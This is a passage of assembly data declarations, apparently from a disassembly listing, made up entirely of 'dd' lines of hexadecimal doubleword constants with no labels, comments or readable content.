dd 482573A5h, 9CB222A1h, 6D3CAB3Ah, 1FDA28C3h, 183D291Eh
dd 0EA6E8077h, 125538E3h, 0F097B17h, 2C2DD3D4h, 62332F7Bh
dd 0D7E895F7h, 47D16833h, 586D47FBh, 89147B52h, 2140127Eh
dd 9524425Eh, 0C1A47F25h, 0BD25CA65h, 7158572Eh, 35CBCC96h
dd 2D1C7BBBh, 6518A7B2h, 0F45B3F3Fh, 0DFE08885h, 2523224Bh
dd 3C4D354Fh, 2E412C43h, 3F212E22h, 3759205Bh, 523EB65Fh
dd 56745034h, 33313E25h, 1F1B771Ah, 4B222E16h, 2F864F78h
dd 0B6DDC179h, 2E7E9D2Dh, 3E8BFBDh, 36766535h, 0D32A0528h
dd 0F87AEDF3h, 0FE1F281Ch, 3392339Fh, 0A64DDB10h, 1A394735h
dd 175DE1A0h, 9037F713h, 0F034551Bh, 3A092F71h, 7E3DBD2Eh
dd 0DA1D1B29h, 0E610758h, 395AA3ABh, 0C10859AFh, 251B1B66h
dd 32149012h, 1D36C333h, 536A335Ch, 0C258533Eh, 0F45C5FC1h
dd 0F11C2E58h, 4C872897h, 0C1215775h, 869E96Eh, 587F97FDh
dd 603032B1h, 3A6B2937h, 3E6B7B18h, 6E1B4D04h, 75461C3Ch
dd 74733160h, 14B199CCh, 0C720AC8Eh, 7F312D7Eh, 3BC2B930h
dd 4711BDBCh, 34133638h, 3F39383Ch, 0C52E4948h, 0E11ACD2Ch
dd 0BBAB2B63h, 38142B27h, 0A349234Fh, 3E62E0BDh, 8F1DC4B3h
dd 8EBBB53Fh, 0BAB634A8h, 4CAAE56Fh, 34DF5776h, 1C7CC376h
dd 5D21A6B8h, 4EAC09C2h, 0B234E9ADh, 0E30B3F5h, 0B2D542C3h
dd 1060BEFDh, 140316BEh
dd 7537937Fh, 0AF3302A0h, 0B927CF27h, 70A07932h, 312E3609h
dd 6260261Fh, 0EADFFBBEh, 14B94E3Bh, 45CE4B72h, 42184247h
dd 7AA30135h, 7727254Eh, 0E906ED2Eh, 2E262D20h, 0B9126663h
dd 4601DD2Ch, 6BC5C63Ch, 4AB3053Fh, 0F6594A1Ah, 0EC2CA23Fh
dd 2BA4FCA8h, 6AD2AEACh, 0A548D826h, 9275147Bh, 86663E3Eh
dd 63397C3Ah, 0B5C6B7F6h, 1E156BFFh, 28F194ECh, 2D20D371h
dd 0C8272777h, 7B232BDEh, 0FF30A42Ah, 334ADB60h, 3B0BC8C8h
dd 0B4593BFAh, 9F453778h, 381318D9h, 657A2CF2h, 0C0777021h
dd 2DDEBEADh, 145BA518h, 0CDB8323Dh, 39DD1834h, 6AB6ABB9h
dd 3B3F47AEh, 17AA011Ch, 9638A170h, 25C730AFh, 0E9A36BACh
dd 0BAAA72Ch, 323AD190h, 0B2BE50B4h, 393A3132h, 50BE7183h
dd 51BD737Bh, 23812692h, 2AA024E5h, 4C2A282Fh, 0E2E69ECh
dd 19587156h, 3060B9CAh, 0B1F838BCh, 0FFC7B7CCh, 0EE1C19D6h
dd 0AAE894BBh, 24D927DDh, 29E83CCEh, 2D1AC229h, 3031F02Dh
dd 5D8D3332h, 38387347h, 0AD3BC3D3h, 1D193060h, 499F761Dh
dd 25C32260h, 29D85ACDh, 24240B79h, 8A212A0Ah, 301C6891h
dd 0C75D3634h, 9C3B3B51h, 7F3E3E7Eh, 9F1A1DBDh, 284DBB66h
dd 4D292FC5h, 2D0B6E22h, 0A248F07h, 39923873h, 0B63C9516h
dd 9A06D3FEh, 359A6B36h, 1F4A1CA6h, 0A42B824Bh, 262F8466h
dd 747614A6h, 0D0AC6870h, 0ADA89913h, 29352BB1h, 25392737h
dd 2D3D233Bh, 89541B20h, 8D231F08h, 25332423h, 2892E525h
dd 2E2C332Dh, 31372EE6h, 34E271C4h, 3A382D31h, 263FBADEh
dd 0EE183F36h, 20031D9Ch, 24028625h, 2B273B26h, 3228AB27h
dd 2C2CAA2Dh, 342C31B0h, 3BB61C36h, 3F3B1A29h, 3A3CBF05h
dd 1D1F7596h, 1407445h, 0B326844Fh, 6C80D73h, 0DE2BECC4h
dd 79329063h, 23F7C8h, 0CAC800FAh, 0AD733C5Dh, 0B61DBDD4h
dd 612181B1h, 0B4604699h, 83298998h, 2A294D1Dh, 603AF082h
dd 7C3736ECh, 424BFA2Ah, 0C6914EF9h, 1A15B93Fh, 42507619h
dd 0A22325A8h, 234C3D20h, 2B2B2E2Ch, 14352365h, 75683141h
dd 566B3416h, 3C4B4F5Ch, 514738BEh, 4F6D7D74h, 27632352h
dd 6D6B6979h, 2C652C29h, 486A2D2Dh, 40465154h, 253533Dh
dd 3C1512F9h, 0E46A6FF2h, 1FDBB909h, 0F1112022h, 0B229DD1Fh
dd 0A060EB28h, 0E9A572DEh, 0F06C2D6Dh, 18894C1Ch, 3F505B94h
dd 0C3FA556h, 0FC575FEDh, 0E22E550Dh, 9F2D204Ah, 0A3771587h
dd 24ECA729h, 3A5290ECh, 37BCA493h, 9632FEBCh, 0C32989BAh
dd 510E5EC0h, 70220D5Eh, 0CDEA93A9h, 31289ED0h, 6C60482Bh
dd 712D4DA5h, 0E2CB63A8h, 37791576h, 6D796FB3h, 145E3038h
dd 2F1F4A12h, 2471F822h, 27219C2Ah, 2DCAAD28h, 6A20260Dh
dd 3D3C3465h, 8F6393Dh, 0F32BB125h, 0EB42D66Dh, 0D0954B35h
dd 0C3A9C964h, 2F61AE19h, 7322408h, 2F5EA464h, 36D17E0h
dd 0D86F6E16h, 1A453324h, 26613D33h, 0E1069BDBh, 0DA0D021Eh
dd 0C6FFCC73h, 0E538390Ch, 0CE2E3340h, 76A9D041h, 0E2343432h
dd 7B873B73h, 17412538h, 144187Bh, 62361C5Eh, 1E5A2E2h
dd 28883A0Fh, 2C8854B0h, 91353141h, 3EF70D33h, 1265F6B7h
dd 2F5CBEA7h, 9D041C85h, 0E13159DCh, 5F33B620h, 0EA5727E1h
dd 0E853A828h, 0F2AABC2Ch, 0F0B1D530h, 734F7D4Ah, 5C7470D0h
dd 5B3A1E7Eh, 94109D2Fh, 3B6081DEh, 0C7280527h, 0A0FBDE06h
dd 352A0EDh, 3A16CF1Ah, 971A25B4h, 17FABC31h, 754199CFh
dd 6A055668h, 4F905755h, 20426E4Fh, 7D634B25h, 644E2DCDh
dd 33D48768h, 2BB50CF3h, 33587338h, 7769357Fh, 38D3C736h
dd 0C1AD1625h, 38263230h, 0C1792E66h, 0E7256179h, 5E396F26h
dd 0ACA27113h, 243D3E17h, 34753190h, 18127BACh, 0E21C387Dh
dd 0E51B883Ah, 21252D3Eh, 25222E35h, 178D272Dh, 369396C2h
dd 38F127BEh, 7FB03B3Bh, 3FBBF80Fh, 1CDE86AAh, 0D3392140h
dd 80264521h, 3028294Bh, 2E2E283Dh, 323209B0h, 0BC054074h
dd 0BE0A50Dh, 3DFAFD30h, 4E1B1E73h, 6491F6E0h, 3D172383h
dd 0BA412CA7h, 293D2D0Ah, 0F3A6462Fh, 67373532h, 4BF56A37h
dd 0C063B22h, 6FEE6869h, 21718A2Ch, 0B626A13Ah, 0A9963C84h
dd 1C0955ABh, 0AD1EB31h, 37350A6Dh, 6811234Ch, 3DF73E3Ah
dd 1AA9BF3Fh, 91B67EB6h, 751FD423h, 2E25E725h, 0BE3F6B85h
dd 70364C99h, 0A0BACEBAh, 3B76F811h, 0FA1F1EBDh, 0BECC3EFDh
dd 0BA78095Ch, 0DC640141h, 0A67AB030h, 0E767E93Ch, 0AE2D2D3Ch
dd 5B3A91F4h, 570F32E4h, 3AEA2C0Ah, 0B8001F0Dh, 9EDE995Ch
dd 75DEDFE2h, 24FA65CBh, 0EA43DA04h, 6B11A0A6h, 0F0393CADh
dd 0E220CB4Fh, 3ABA0AB7h, 0FEB830FFh, 265B1C4Bh, 0FE5CE21Eh
dd 0E2A784C9h, 0D4132722h, 93233357h, 31B113BAh, 6767313Ch
dd 3B9022C9h, 3C349933h, 6090D736h, 0A89B009Eh, 7373363Fh
dd 0BB1738ADh, 8AFED29h, 362F28FDh, 82692D9h, 0B867C9CAh
dd 1E3BFA09h, 3D3E6E7Bh, 9B76091Ch, 727AA116h, 0D733DA24h
dd 0A82B2BF3h, 2F3E0FE8h, 3032D93Bh, 0C8342DB7h, 0D33A39F9h
dd 0C0C10B1Dh, 1F1D2F1Ah, 21A22209h, 27ED15A3h, 5B883469h
dd 280DAD2Bh, 2A41B92Ch, 3704AC92h, 3B2A0DC1h, 0CF08A34Bh
dd 0F1F8F3Fh, 0C02D0F3Ah, 0DA172FF4h, 31878FCDh, 2D232B25h
dd 3E3020A9h, 64343332h, 886E6265h, 0E24BBEDh, 2FF60CC8h
dd 716A9EC6h, 0A02C6511h, 0F0084640h, 0EC190A5Ah, 512DEA48h
dd 373B2811h, 0FD129426h, 4C5A6C21h, 7A776261h, 327871DCh
dd 5344486Ch, 0B7CA079h, 2A6C722Fh, 232A2E2Ch, 0AB477633h
dd 7757585Ah, 3138EC5Dh, 0F33F2E67h, 18D5F3Bh, 474D37BFh
dd 21E7F126h, 7AAAAD28h, 5AC62F2Bh, 704D3C0Eh, 7E308A37h
dd 2A1A8A33h, 5668D75Fh, 179A4E0Fh, 712A9CB7h, 84B62680h
dd 3C28D823h, 2C2EF022h, 3C34EBADh, 55C508D2h, 3F35F70Fh
dd 2548F801h, 0DD04D410h, 551E5E17h, 62E4C225h, 9823262Dh
dd 3328C294h, 0B3E31E29h, 32D33EDDh, 68C68714h, 9D64D21Dh
dd 0FB37B53Eh, 0AD4F150Ah, 9A268172h, 0D42EC5DFh, 22CB7975h
dd 2EDC447Eh, 60F33566h, 436843Ah, 3DBAF9FAh, 61367BB5h
dd 10B5FD2Bh, 4835061Fh, 26853401h, 8A2A4224h, 0BE477847h
dd 0BCD96234h, 1EF118D2h, 3C631E31h, 0FEAA3ABBh, 923A1A0Ah
dd 0FAA1FFEh, 250163ACh, 780EE600h, 0EC970D2Eh, 5162D5Bh
dd 95881530h, 781E2538h, 63C46438h, 1ED9FF0Ch, 21D951F5h
dd 24CACA0Ch, 0E8EFA33Dh, 382A255Ch, 232D15C5h, 3C292CB1h
dd 38263137h, 0B71C3B4Bh, 0F32B6CF3h, 33B1B9Fh, 96570422h
dd 652604AFh, 6B5EE9ADh, 0A426042Ch, 0DB62FF10h, 0B6B5F0B5h
dd 4FFAF0BDh, 0D73F573Bh, 12726B3Bh, 3EA14B6Dh, 6091720h
dd 58595A42h, 2A175E44h, 1406B642h, 7437A463h, 3E3938B4h
dd 3E3C33C3h, 1F1D1E3Dh, 0DCD03F1Fh, 2124235Dh, 6B6574D9h
dd 2D282B58h, 31F87C36h, 3527043Ch, 395A3236h, 7E6C393Bh
dd 0C0A7F34h, 17589F4Dh, 0B0A86E01h, 87262273h, 1F434AB5h
dd 583B2EEDh, 743B74B8h, 0BB3F3A38h, 1C7A1CA7h, 0F36F6839h
dd 94ABFD0Dh, 0A262CC28h, 0A6BDA528h, 244B3523h, 253C08C1h
dd 333A305Bh, 0FC973D33h, 852AD9DFh, 0A9833933h, 4DDD7E06h
dd 212E3D80h, 765B286Bh, 881D5F3Bh, 2C2C2E24h, 3D3AD0AEh
dd 5C373331h, 0AAD13C27h, 0BB332ED0h, 2CDD6FFFh, 30AB1711h
dd 87DB33ABh, 43282726h
dd 99BD43D5h, 31312F6Dh, 31349256h, 1CB15366h, 3CFD3C3Fh
dd 1F1B0039h, 2F1B15D1h, 25F42524h, 2B276422h, 232F21CBh
dd 31C22928h, 37337736h, 373325CDh, 0B5383D3Ch, 1B77393Dh
dd 1E10331Fh, 262D2127h, 20273C23h, 28062963h, 2A212908h
dd 30B31E37h, 341A357Ah, 7B2039ACh, 4170B06Ch, 6A1D1AF3h
dd 2DE1209Ah, 2624E6A6h, 0AA087B25h, 0BDC5086Eh, 747B3062h
dd 0ED06BC19h, 163E3867h, 2BBFA0B2h, 3940923Fh, 72DAF736h
dd 4FDBA3DDh, 28284F27h, 2C722B1Ch, 5B24212Eh, 0FBBF6230h
dd 792FC62Ah, 68D46926h, 184A3CECh, 55F70709h, 0F60B21F3h
dd 0FB8CAE26h, 0B02CBC2Ah, 20022DFFh, 23D12931h, 92B71C73h
dd 0D42139E0h, 373CEC05h, 541DCFC9h, 0F17D22FCh, 38D70027h
dd 31A0D2Ah, 1FF5C57Dh, 2831E722h, 0FFBD1934h, 3BAEA538h
dd 0D7362CA0h, 0DA1F144Bh, 0A92220BFh, 0E023D429h, 114A2855h
dd 2AA823D8h, 2E31CDDCh, 0BE45107Fh, 223B31ABh, 293D66D3h
dd 1D147DD6h, 21481D3Eh, 7B251523h, 75A803A2h, 472E2B29h
dd 14307F2Fh, 87241383h, 6B114C3Bh, 3D271D65h, 4E692E3Fh
dd 0A2B24C61h, 5732C12Ah, 896A0964h, 2B796209h, 7BDDAD07h
dd 8D66C05Fh, 856376A7h, 733B8B6Ch, 1A8535EFh, 0BC7CE829h
dd 0C423B520h, 76D86E76h, 0FA764F28h, 3D6F872Dh, 3D02D331h
dd 27D57D31h, 530BAD3Bh, 3FC13D7Ch, 9E76D01Bh, 62C1221Fh
dd 1025DB23h, 6E6D44D7h, 2F6C252Bh, 7229382Fh, 37053931h
dd 4B093B37h, 3F3C4D3Bh, 1D8C1A07h, 1361FE1h, 253DB027h
dd 0B92B2723h, 382C68CEh, 31513F3Bh, 25BC43E3h, 0A9857533h
dd 9C71D00Bh, 111A9D3Ah, 21BD162Bh, 74AB0A41h, 1B268457h
dd 0D03E5EA2h, 0F08F3B6Ch, 2432837Ah, 4874BE22h, 253A885Fh
dd 0AACB33B6h, 0A32971Dh, 52240D8h, 4FD62721h, 64205DDEh
dd 0CF090F70h, 0C1FA9C31h, 73423F34h, 3BDAA43Eh, 9F1AB9B6h
dd 6B309D9Ah, 5CCCA50Ch, 366FE403h, 0EDC17E37h, 5B6025EBh
dd 23DAE4DCh, 15383513h, 2F69B536h, 1FF63D1Bh, 470C6336h
dd 3DCB1B1Eh, 27552701h, 7FE8A3A6h, 7C8E7C2Dh, 1462582Dh
dd 308D9773h, 9B981776h, 0B574C117h, 1C9A9223h, 204EAFBFh
dd 808622D2h, 2B27339Bh, 7AAE0CC2h, 327CA62Fh, 0A22EBB57h
dd 0A3113457h, 51DB385Ah, 416F2983h, 9A1E42D5h, 202D57FBh
dd 2732AFD6h, 2BE96940h, 0E3FCC52Fh, 13BB5D32h, 0B23A1170h
dd 23A6B9F8h, 4B3A3D3Ch, 0F6D59710h, 0A2205D3Dh, 24CED43Bh
dd 0A5A2DE14h, 0A7062C7Ah, 3031AD91h, 0BD31B4BDh, 0B7026F37h
dd 70B01A7Ch, 9D4C1119h, 6F210308h, 0AC1F75ABh, 72AA286h
dd 6C99BEC3h, 3D72DF22h, 3D2AFD7Fh, 30F95903h, 0FC380B6Eh
dd 34C91937h, 40171F53h, 222B200Ch, 38662E2Bh, 39362F07h
dd 0B50C0CC4h, 2CDA1833h, 0D10834B0h, 2C7A37F3h, 0DE2F7CADh
dd 5F4BD3D5h, 60517B61h, 8B3921C3h, 0B7E56E8h, 6A7E335Ch
dd 3272D131h, 0AFDE30A0h, 3AAFB139h, 3EAEBD2Ch, 1E5D04B5h
dd 26A1218Dh, 6624B1E3h, 0AAFC2962h, 2F68DC0Bh, 5A33D14Fh
dd 12D43473h, 3A484B81h, 4FBC38FBh, 9238FB3Fh, 0C10D1F6Fh
dd 2401AA46h, 19C47A26h, 2D467C7Ch, 215A2F2Fh, 215E3058h
dd 0B939785Ch, 3856383Bh, 15712D54h, 0AB1B741Dh, 0A92648D0h
dd 10032661h, 0EB7B3843h, 310F36ABh, 0EFDB3431h, 6E0F4837h
dd 0FBF3B139h, 1B7B1A79h, 0E8F61D18h, 3C223E20h, 38263A24h
dd 2B35D628h, 2F312D33h, 332D312Fh, 3729352Bh, 34C53937h
dd 303E323Ch, 111D131Bh, 2D212F1Fh, 59252B23h, 2A262828h
dd 2E222C24h, 323E3020h, 1663343Dh, 0D2C8B360h, 0B54E6C20h
dd 11381B43h, 73AEA744h, 0A930A351h, 973EB074h, 346B79B8h
dd 63296E7Ah, 0B557FBDAh, 10217E7Ch, 7EFDDED2h, 99C06EBCh
dd 0A55B1C5Fh, 30CB7270h, 5E76A897h, 0AE7D6AD3h, 15AF627Ch
dd 0A53363B4h, 68B03764h, 0B81FB6B4h, 1DD73D3Dh, 3F6F7315h
dd 0E3723A01h, 0CF38E4A7h, 6CA94531h, 37AE44ACh, 7ABC62h
dd 36373DDCh, 0B13BE93Dh, 1B42B69Dh, 1C4C940Fh, 7520D157h
dd 0CEEBAF73h, 9C42AA47h, 0A67A0C2Ah, 890347Eh, 0BFBF35A2h
dd 11983D7Fh, 3FCDF0D3h, 15FF961Dh, 0EE02FECAh, 2424CB56h
dd 0A09C2FD0h, 0D12FE886h, 39802E3Eh, 811F6276h, 6429FAB9h
dd 0AD085A92h, 197B952Eh, 0F6321F98h, 2D6C48F1h, 48D6B6CDh
dd 380F7EA9h, 0F3C77C7Dh, 14B04E81h, 1D0BF772h, 1F512753h
dd 59B08F7Dh, 5FD8331Fh, 0CBE62023h, 6BA524A6h, 0DBAA210Ch
dd 3FF8E628h, 2D12FA3Ah, 19392092h, 7C9B3739h, 0DD7D24E0h
dd 0DE133D14h, 23832C6Ah, 36575182h, 68D55D85h, 3E203C68h
dd 16893F72h, 73D51E6Bh, 4859A0C1h, 821AAC99h, 3968141Eh
dd 53F15412h, 55FFE853h, 0F9EE0C26h, 0F70E3B2Ah, 3CEC240Eh
dd 384AF182h, 73B8CEE6h, 4F0CCB11h, 3B143B5Eh, 24EE1905h
dd 58D4BBC9h, 0B8E522E5h, 0F3A3F52Bh, 302657A5h, 191FF203h
dd 0ED95282Ah, 0BF4D34BBh, 736FAC33h, 0E1C9156h, 10332275h
dd 0B7392CE4h, 0E7BAB930h, 2F242D53h, 1BA2DDB1h, 0B7343536h
dd 3ABAAD40h, 692E686Fh, 1E4EA54Ch, 5EACD06Fh, 0D53D0023h
dd 0E95A382h, 6BAD0D17h, 7215BCA4h, 4ABC35B3h, 0C2BA5C77h
dd 38483439h, 0F6569BB2h, 417C921Ah, 0E5173706h, 2908E771h
dd 5EA86B4Eh, 0B802CF3Eh, 0D528B77Eh, 7920332Eh, 6BB739BBh
dd 165DB416h, 30733E31h, 72A860E0h, 0E806772Dh, 7F697F1Fh
dd 182CAE7Fh, 942F36D9h, 0FC138AB8h, 3E3B33F9h, 5F6D95CEh
dd 3C0D0D5Dh, 44221D0h, 0F68230DBh, 290E652Eh, 3F293C04h
dd 133E70C6h, 862C1B41h, 6B345D32h, 70FE6A3Eh, 0E10F9DCEh
dd 8F55239Dh, 0AD312593h, 68380877h, 983C7CA2h, 78F3BB63h
dd 0CA6DCBCCh, 7F97EDFh, 0BE412ABBh, 96BCF429h, 7EAB0751h
dd 0A10A35A3h, 0B0E80730h, 2DECAF86h, 353DE538h, 2334F133h
dd 4C3C1362h, 62B72FD9h, 1D44293Bh, 21940216h, 78AAC921h
dd 19E42201h, 0A74F2AE9h, 0F0AA1E6Dh, 32532629h, 0FE2F6625h
dd 2A7F2EBDh, 736E373Fh, 0ADA380Ch, 0A90981CDh, 0AD3324B2h
dd 3DAA80AEh, 3AEA7D7Eh, 0B827F279h, 97375B94h, 6664660Bh
dd 5B653C8Ch, 1E10959Bh, 0C2E5A11Bh, 0E4E52623h, 0BA282823h
dd 312D33E7h, 3572D87Eh, 6D32202Dh, 0BED16C14h, 34B12237h
dd 31D4F21h, 26C80B4Ch, 0A2E03D25h, 61C0031Ah, 7D32272Fh
dd 5B35312Ah, 74265927h, 692C6C34h, 39A0F0D2h, 385F7320h
dd 5039A2Dh, 38AF2DC9h, 34A16732h, 4627403Ah, 0C37F7504h
dd 7873BF9Ah, 305D1A11h, 0B02ADA68h, 9E371FE0h, 0C7001BDh
dd 8C782692h, 7F384423h, 6B7A1CA3h, 3B3F2D2Dh, 72330D11h
dd 495E3CF4h, 9BBA3D5Eh, 6B34B023h, 7C4F1E7Dh, 0F4DE731Dh
dd 0A71862A8h, 0AE0DC90Bh, 0AC3D6FBAh, 0E2347E4Bh, 33353B33h
dd 0D2686B5Bh, 25DE3D5h, 23BC44BFh, 48911ADCh, 0F479B32Ah
dd 79222532h, 58ECAE26h, 31DCAC09h, 2062BE2Ah, 9DB1FBBDh
dd 3D881FBAh, 0D0F36D3Dh, 9937180Dh, 6462AE8Fh, 0AD6106ECh
dd 1205143Fh, 0F5117DADh, 0E60CA40Fh, 88372A05h, 3C6B3839h
dd 1B0F8D3Eh, 2E6D2C06h, 113110B0h, 9B144824h, 1819221Ah
dd 1ADD2D18h, 59D07ABh, 283603F4h, 7F0D0A0Fh, 3D099D0Bh
dd 1082CA5h, 0AE196527h, 1EFC241Bh, 0C32B2877h, 58202929h
dd 18C53D2Eh, 893830ADh
dd 3FDF3536h, 6B3F3436h, 18C4163Fh, 2C214E13h, 0BF2926E8h
dd 95252673h, 2CCF262Fh, 3C358123h, 0B537991Eh, 3FBD9730h
dd 0AF3ABA4Fh, 0A25139BBh, 0A59B189Ch, 0A4272527h, 1C677711h
dd 3AABFA27h, 35F1CBEh, 58B86762h, 6E231235h, 0FC09CC0Ah
dd 372BEB6h, 1DE79E4Bh, 33922054h, 7CD9EDA7h, 0A0328769h
dd 1C3A2D51h, 3CFBB4EBh, 373522BAh, 2F3E39ADh, 353501BCh
dd 222A1C6Eh, 0A3125412h, 40CD7623h, 0A9D6D5AFh, 0AA3D2CEFh
dd 28B53FEFh, 34353439h, 7E6B7888h, 3EBE3D3Bh, 0DD2FE4F6h
dd 0B9048B93h, 0D7802323h, 2F9D088h, 0A66C7BD3h, 0BAE9A4D9h
dd 0C70433C8h, 0F2B39936h, 3FD5FA75h, 97BE3FCDh, 23FE9DD6h
dd 9ACA2323h, 28242641h, 2D6EC21Dh, 0D8572E1Dh, 30310EB3h
dd 506F1261h, 9418B80Dh, 1A0B4BD5h, 4C9F094Ah, 0A93FA14Ah
dd 776AA537h, 0C37E2F28h, 6A3AAC38h, 33BE1230h, 4D48B817h
dd 1DA51B38h, 3EB8BC06h, 9E9B969Fh, 316121DEh, 27E58F12h
dd 6FB92262h, 246C4C21h, 683B7444h, 0B73F7045h, 0B93272h
dd 8E3779E3h, 1C1B1A14h, 2325A71Ch, 3D2DABE2h, 20ACF2D5h
dd 0C5382ACAh, 74C03B2Ah, 9C70723Ah, 0B5283F73h, 38B41AFDh
dd 191B0F3Bh, 999351Dh, 0DA077E6h, 2001A635h, 0A223403Dh
dd 0C0B6207h, 6521625Bh, 12B506DDh, 3E11BE05h, 572A7EB8h
dd 7F48361Dh, 36667370h, 6F7ECF30h, 3E6E5B3Dh, 0A225473Fh
dd 0F33D2270h, 7323F835h, 797A791Ch, 63E7D594h, 2E08E300h
dd 0A12121FFh, 61ACDBDBh, 3F315D32h, 0CD21A8CBh, 3891601Eh
dd 367EDC23h, 0D3C6C615h, 3C3D3A98h, 4B0C7117h, 610863BEh
dd 25E4A627h, 66A30552h, 38D37A3Fh, 3090A780h, 33309232h
dd 223E3564h, 4E2E3D3Bh, 5C00BF05h, 0DD1972F5h, 0BDA37DDEh
dd 0EDACAA7Eh, 0B6293DA8h, 0B079C610h, 0AE309B3Bh, 0A2323B8Dh
dd 32A1331Eh, 4467A43Dh, 841F465Ch, 239F3AA1h, 23B77ABFh
dd 330E6D09h, 922218ACh, 373355B0h, 2748B83Dh, 77D26E68h
dd 863C7C6Dh, 0A45C91DBh, 825BE078h, 0A35C0B97h, 28687721h
dd 2E672AAFh, 30B53174h, 0C9CAFB6Ah, 9BE53DF1h, 0F83F003Bh
dd 7DC8F3Ah, 7118941Ch, 226ECA36h, 0A87F0AA7h, 0AC779E89h
dd 861DAFB0h, 2B741532h, 0A968F607h, 3D6B18BAh, 196FC9BBh
dd 0CB0E6090h, 0DB102021h, 4226264Fh, 2D412A3Eh, 7F453C47h
dd 10B376BCh, 683E5C15h, 0EBB1DD1h, 7FBBD7Dh, 9FD6964Bh
dd 23026940h, 0DB65CD20h, 7BA44728h, 2D2E2F2Ch, 5B8B6060h
dd 0B7722745h, 0EB7FCF39h, 2E4A3C3Ch, 0CA58AB14h, 0A22F60F4h
dd 0FE53041Dh, 2AC20326h, 762746DEh, 6162667Fh, 0CA20CB33h
dd 6A383AEFh, 8D3FBCD3h, 5895E4C3h, 23131F86h, 604F22F2h
dd 0A220ACCAh, 60A52B23h, 0D9617FA6h, 36343313h, 594C2724h
dd 19403BBAh, 106E1102h, 41F5A97h, 50E3A61Ch, 2C091A74h
dd 4F8B675Dh, 14A3A311h, 54315065h, 0BC5F603Ch, 37395598h
dd 0CCC07E6Ch, 933A9997h, 0FAE2961h, 27E6AD00h, 0AB4222C8h
dd 3B7C7828h, 31F0A5BBh, 0E6DBF548h, 0CB90E84Ch, 0E369D11h
dd 0EE25CC93h, 2321CB6Fh, 56242463h, 762A282Bh, 17D604Bh
dd 0B2D930EFh, 22D3733h, 4AD10FD7h, 5ECD3E78h, 1D2BE7D9h
dd 3028271Fh, 1D3460E2h, 96BC73Eh, 0FD290312h, 0A9801F33h
dd 6AC2DB62h, 29ABA997h, 0B2B4383Ah, 8A91A19Eh, 59F0F89h
dd 0E4B4AAEEh, 7BCACE85h, 612FEA08h, 32DAC61Fh, 984D7C23h
dd 3ED7C0DDh, 3D2C1C38h, 1F1FA31Bh, 17B60D78h, 80E2A406h
dd 537EA52Bh, 0D0A2222h, 0A43E0D73h, 15954832h, 587A347Bh
dd 4E6E5257h, 496F9D4Ch, 0F87A25DBh, 0C0628C32h, 7274E030h
dd 8A4C4348h, 4EEC30A7h, 475B54F7h, 37D74040h, 0BA043E71h
dd 3B9F8DA3h, 189F545Ch, 4F65D65Fh, 0A1495696h, 316B5437h
dd 8CF2202Ah, 0DB0BED14h, 4A084109h, 8304AD0Ah, 1E00EE06h
dd 48267C03h, 3222F120h, 0B81D6D1Fh, 0F5198A1Bh, 3015C017h
dd 68100612h, 0BF0C4E0Eh, 0F308930Ah, 0CD04E006h, 0BB3E3E02h
dd 6B1F1D1Eh, 13202220h, 17F51597h, 1A5319CCh, 222D0C2Ah
dd 1B9350A2h, 771F3565h, 0DB6D312Ch, 67CE09A1h, 211DA523h
dd 2299231Fh, 2659A927h, 0C0E81403h, 2186DF29h, 0F38DB46Bh
dd 7A11A856h, 0BE6C36F7h, 246C11B0h, 5D38A7B2h, 0E189790Fh
dd 0A72BA835h, 35393745h, 7D3C4A54h, 9690C77Ch, 0AD663DD1h
dd 7DB537D7h, 5CDCBD1Ah, 0F4936F31h, 5FFA81CCh, 0A65FCA31h
dd 0C0EABE21h, 2C3AE84Ah, 51B9A43Ch, 66624623h, 0D88827F1h
dd 0DCB09A3Ah, 0FAE40E33h, 96187F98h, 12020B20h, 42A3C50Ch
dd 8A223C29h, 7F018CACh, 1F372958h, 1E85B5E3h, 6B68B9B0h
dd 3D0D1138h, 48F40437h, 0A20A212Dh, 35A48A30h, 0A03AA8A9h
dd 0F6CBA65h, 22700B6Fh, 7CB16662h, 0C7DD98E2h, 0BC3AD5C4h
dd 3D9E2D1Fh, 2AE09F88h, 0E5B70363h, 69FA1766h, 6DDC2C80h
dd 1171393Ch, 37B47221h, 2A1C1D27h, 1F8C7B7Bh, 91398F07h
dd 701B7653h, 1E623670h, 693332B5h, 6D390B15h, 0CFD39593h
dd 5E3836D0h, 3CF32137h, 560F1E6Dh, 0F30B6C3Ah, 3F1ABF29h
dd 4F422584h, 30E611CCh, 30E7510h, 0EF195927h, 1B325250h
dd 65A46438h, 18D22AF9h, 50BA2C3Dh, 1A050D12h, 6BE048F7h
dd 62D2036Bh, 6BD64AD8h, 0B4C57A7Bh, 103064EFh, 0A6DDB076h
dd 7EB23A76h, 3DBC4B1Fh, 32F4232Fh, 15579D57h, 0DE43827h
dd 59D7FFA5h, 311F727Eh, 184063A3h, 7599DB27h, 69349732h
dd 0B73C393Fh, 26D1B529h, 98BD6B0Dh, 0EDA73E21h, 7FAD3251h
dd 0E6A12A28h, 452E7E17h, 0F333B13Fh, 3AF7B537h, 3C4EF3BDh
dd 0F0FF0DDDh, 9CDE0619h, 0A8272154h, 0D1CD2176h, 0A22A38A1h
dd 6CE82966h, 3B5330CDh, 763A94F7h, 0B0267935h, 0B6363D64h
dd 1F1D9705h, 2A216094h, 0E52162AAh, 2A45A347h, 6BA6040Fh
dd 3765BB13h, 0DC344C33h, 0B12172BCh, 3F1D3C61h, 5424F8D4h
dd 0AFAA69DEh, 0ACA250A0h, 6B78AD55h, 6E0C03ADh, 5110C73Eh
dd 63BF3336h, 697EBC62h, 657C75B1h, 974A6F6Ch, 1C3D5ED2h
dd 0CC272231h, 78242691h, 2C4ABBC1h, 0D2AEB785h, 0B405D2CEh
dd 0FA373514h, 0C4FAF5B2h, 99C8A737h, 0DB139D1Dh, 0AEDAAA04h
dd 0A70F4C6Ah, 0AB2B7D12h, 57AEE121h, 0FC3ABA60h, 36F6F1DCh
dd 3BAEAFB2h, 0B56E3E3Ch, 1D1D8F9Dh, 9B71004Dh, 0A6C4B8E6h
dd 2BEBD83Dh, 0A731A1E9h, 0DA651473h, 0F7F622C2h, 767F38BBh
dd 606279F9h, 4C1F1B7Bh, 0A1A9794Eh, 0AB06C0B0h, 0DBCB64Fh
dd 8C28CBEEh, 0FB336FA7h, 0E1BDF260h, 0F95048F6h, 0B4F411FBh
dd 0CC3FABEEh, 0EC1BDC18h, 28422180h, 200774CFh, 40B2899Dh
dd 340F2FEDh, 65C73DF0h, 10BB5267h, 0F3B7199h, 187FF819h
dd 1EA33928h, 436F9109h, 37C4E0CCh, 0CBEC0D08h, 0B0FB82Ah
dd 91161020h, 91D63114h, 33801D08h, 5DBA1918h, 3C392351h
